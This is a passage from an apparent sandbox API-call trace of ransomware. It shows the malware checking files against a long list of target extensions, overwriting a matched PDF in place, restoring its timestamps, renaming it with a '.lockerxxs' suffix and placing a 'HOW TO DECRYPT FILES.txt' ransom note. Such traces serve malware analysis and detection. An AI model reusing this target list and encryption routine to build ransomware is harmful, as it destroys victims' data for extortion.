10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" [0068.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.688] lstrlenA (lpString="*.ems") returned 5 [0068.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.688] lstrlenA (lpString="*.db") returned 4 [0068.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.688] lstrlenA (lpString="*.dbf") returned 5 [0068.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.688] lstrlenA (lpString="*.myox") returned 6 [0068.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.688] lstrlenA (lpString="*.myo") returned 5 [0068.688] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.689] lstrlenA (lpString="*.qbw") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.689] lstrlenA (lpString="*.qbb") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.689] lstrlenA (lpString="*.qbm") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.689] lstrlenA (lpString="*.qbo") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.689] lstrlenA (lpString="*.qbx") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.689] lstrlenA (lpString="*.qba") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.689] lstrlenA (lpString="*.qby") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.689] lstrlenA (lpString="*.qbj") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.689] lstrlenA (lpString="*.ofx") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.689] lstrlenA (lpString="*.qif") returned 5 [0068.689] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.689] lstrlenA (lpString="*.mye") returned 5 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.690] lstrlenA (lpString="*.mbox") returned 6 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.690] lstrlenA (lpString="*.eml") returned 5 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.690] lstrlenA (lpString="*.pst") returned 5 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.690] lstrlenA (lpString="*.ost") returned 5 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.690] lstrlenA (lpString="*.idx") returned 5 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.690] lstrlenA (lpString="*.dbx") returned 5 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.690] lstrlenA (lpString="*.sql") returned 5 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.690] lstrlenA (lpString="*.mdb") returned 5 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.690] lstrlenA (lpString="*.fdb") returned 5 [0068.690] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.691] lstrlenA (lpString="*.wab") returned 5 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.691] lstrlenA (lpString="*.dat") returned 5 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.691] lstrlenA (lpString="*.txt") returned 5 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.691] lstrlenA (lpString="*.jpeg") returned 6 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.691] lstrlenA (lpString="*.jpg") returned 5 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.691] lstrlenA (lpString="*.png") returned 5 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.691] lstrlenA (lpString="*.php") returned 5 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.691] lstrlenA (lpString="*.cs") returned 4 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.691] lstrlenA (lpString="*.cpp") returned 5 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.691] lstrlenA (lpString="*.rar") returned 5 [0068.691] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.692] lstrlenA (lpString="*.zip") returned 5 [0068.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.692] lstrlenA (lpString="*.html") returned 6 [0068.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.692] lstrlenA (lpString="*.htm") returned 5 [0068.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.692] lstrlenA (lpString="*.xlsx") returned 6 [0068.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.692] lstrlenA (lpString="*.xls") returned 5 [0068.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.692] lstrlenA (lpString="*.mp4") returned 5 [0068.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.692] lstrlenA (lpString="*.ppt") returned 5 [0068.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.692] lstrlenA (lpString="*.pptx") returned 6 [0068.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.692] lstrlenA (lpString="*.doc") returned 5 [0068.692] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.693] lstrlenA (lpString="*.dot") returned 5 [0068.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.693] lstrlenA (lpString="*.docx") returned 6 [0068.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.693] lstrlenA (lpString="*.7z") returned 4 [0068.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.693] lstrlenA (lpString="*.tar") returned 5 [0068.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.693] lstrlenA (lpString="*.bz2") returned 5 [0068.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.693] lstrlenA (lpString="*.gz") returned 4 [0068.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.693] lstrlenA (lpString="*.mkv") returned 5 [0068.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.693] lstrlenA (lpString="*.eml") returned 5 [0068.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.693] lstrlenA (lpString="*.msg") returned 5 [0068.693] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.694] lstrlenA (lpString="*.edb") returned 5 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.694] lstrlenA (lpString="*.accdb") returned 7 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.694] lstrlenA (lpString="*.odb") returned 5 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.694] lstrlenA (lpString="*.java") returned 6 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.694] lstrlenA (lpString="*.asm") returned 5 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.694] lstrlenA (lpString="*.pfx") returned 5 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.694] lstrlenA (lpString="*.pem") returned 5 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.694] lstrlenA (lpString="*.p12") returned 5 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.694] lstrlenA (lpString="*.gpg") returned 5 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.694] lstrlenA (lpString="*.vsd") returned 5 [0068.694] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.695] lstrlenA (lpString="*.odg") returned 5 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.695] lstrlenA (lpString="*.raw") returned 5 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.695] lstrlenA (lpString="*.nef") returned 5 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.695] lstrlenA (lpString="*.svg") returned 5 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.695] lstrlenA (lpString="*.psd") returned 5 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.695] lstrlenA (lpString="*.vmx") returned 5 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.695] lstrlenA (lpString="*.vmdk") returned 6 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.695] lstrlenA (lpString="*.vdi") returned 5 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.695] lstrlenA (lpString="*.lay6") returned 6 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.695] lstrlenA (lpString="*.mpeg") returned 6 [0068.695] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.696] lstrlenA (lpString="*.djvu") returned 6 [0068.696] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.696] lstrlenA (lpString="*.tiff") returned 6 [0068.696] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.696] lstrlenA (lpString="*.backup") returned 8 [0068.696] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.696] lstrlenA (lpString="*.pdf") returned 5 [0068.696] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" [0068.696] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" [0068.696] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf." [0068.696] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf.lockerxxs" [0068.696] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.698] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10956 [0068.698] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0068.698] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.698] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10930, lpOverlapped=0x0) returned 1 [0068.702] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf") returned="AdobeID.pdf" [0068.703] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.703] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10930, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10930, lpOverlapped=0x0) returned 1 [0068.703] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.704] CloseHandle (hObject=0x94) returned 1 [0068.705] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf.lockerxxs")) returned 1 [0068.709] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1043a, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.709] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.709] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.709] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.709] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.709] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf") returned="AdobeID.pdf" [0068.709] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\" [0068.709] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\") returned="" [0068.709] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\HOW TO DECRYPT FILES.txt" [0068.709] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\how to decrypt files.txt")) returned 0x20 [0068.709] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" [0068.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.709] lstrlenA (lpString="*.ems") returned 5 [0068.709] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.709] lstrlenA (lpString="*.db") returned 4 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.710] lstrlenA (lpString="*.dbf") returned 5 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.710] lstrlenA (lpString="*.myox") returned 6 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.710] lstrlenA (lpString="*.myo") returned 5 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.710] lstrlenA (lpString="*.qbw") returned 5 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.710] lstrlenA (lpString="*.qbb") returned 5 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.710] lstrlenA (lpString="*.qbm") returned 5 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.710] lstrlenA (lpString="*.qbo") returned 5 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.710] lstrlenA (lpString="*.qbx") returned 5 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.710] lstrlenA (lpString="*.qba") returned 5 [0068.710] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.710] lstrlenA (lpString="*.qby") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.711] lstrlenA (lpString="*.qbj") returned 5 [0068.711] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 